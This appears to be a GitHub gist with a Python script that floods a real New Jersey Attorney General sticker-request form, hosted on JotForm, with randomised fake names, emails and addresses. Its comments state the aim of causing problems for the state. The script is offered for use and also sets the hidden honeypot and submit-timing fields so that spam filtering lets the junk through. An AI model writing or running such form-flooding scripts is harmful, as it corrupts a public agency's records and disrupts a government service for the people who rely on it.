Created
September 13, 2024 14:59
-
-
Save tibers/2c590e4b516fae07c363421eacd8f83a to your computer and use it in GitHub Desktop.
formstuffer script for the NJ gun free zone sticker
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# so you've decided you want to cause problems for the state of New Jersey | |
# by stuffing their form with a ridiculous amount of junk data! | |
# | |
# start with a simple: | |
# pip install requests | |
# then run the following: | |
import requests | |
import random | |
import string | |
# Helper functions to generate random data | |
def random_string(length=10): | |
"""Generate a random string of fixed length.""" | |
letters = string.ascii_letters | |
return ''.join(random.choice(letters) for i in range(length)) | |
def random_email(): | |
"""Generate a random email address.""" | |
domains = ["example.com", "test.com", "sample.org"] | |
return f"{random_string(5).lower()}@{random.choice(domains)}" | |
def random_address(): | |
"""Generate random address data.""" | |
return { | |
"addr_line1": f"{random.randint(1, 9999)} {random_string(5)} Street", | |
"addr_line2": f"Apt {random.randint(1, 999)}", | |
"city": random_string(8), | |
"state": random.choice(["California", "Texas", "New York", "Florida"]), | |
"postal": f"{random.randint(10000, 99999)}" | |
} | |
# Form URL | |
form_url = "https://submit.jotform.com/submit/232216247930957" | |
# Form data with random values | |
form_data = { | |
"formID": "232216247930957", | |
"q6_name[first]": random_string(6), # Random First Name | |
"q6_name[last]": random_string(8), # Random Last Name | |
"q9_organization": random_string(10), # Random Organization Name | |
"q8_email": random_email(), # Random Email | |
"q8_email_confirm": random_email(), # Random Confirm Email (can match q8_email) | |
"q7_address[addr_line1]": random_address()["addr_line1"], # Random Street Address | |
"q7_address[addr_line2]": random_address()["addr_line2"], # Random Street Address Line 2 | |
"q7_address[city]": random_address()["city"], # Random City | |
"q7_address[state]": random_address()["state"], # Random State | |
"q7_address[postal]": random_address()["postal"], # Random Zip Code | |
"submitSource": "mounted", | |
"buildDate": "1726093336884", | |
"website": "", # Hidden field that should be empty | |
"embedUrl": "https://www.njoag.gov/", | |
"timeToSubmit": "20" | |
} | |
# Submit the form | |
response = requests.post(form_url, data=form_data) | |
# Print the response | |
if response.status_code == 200: | |
print("Form submitted successfully!") | |
else: | |
print(f"Failed to submit the form. Status Code: {response.status_code}") | |
print("Response Content:", response.text) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment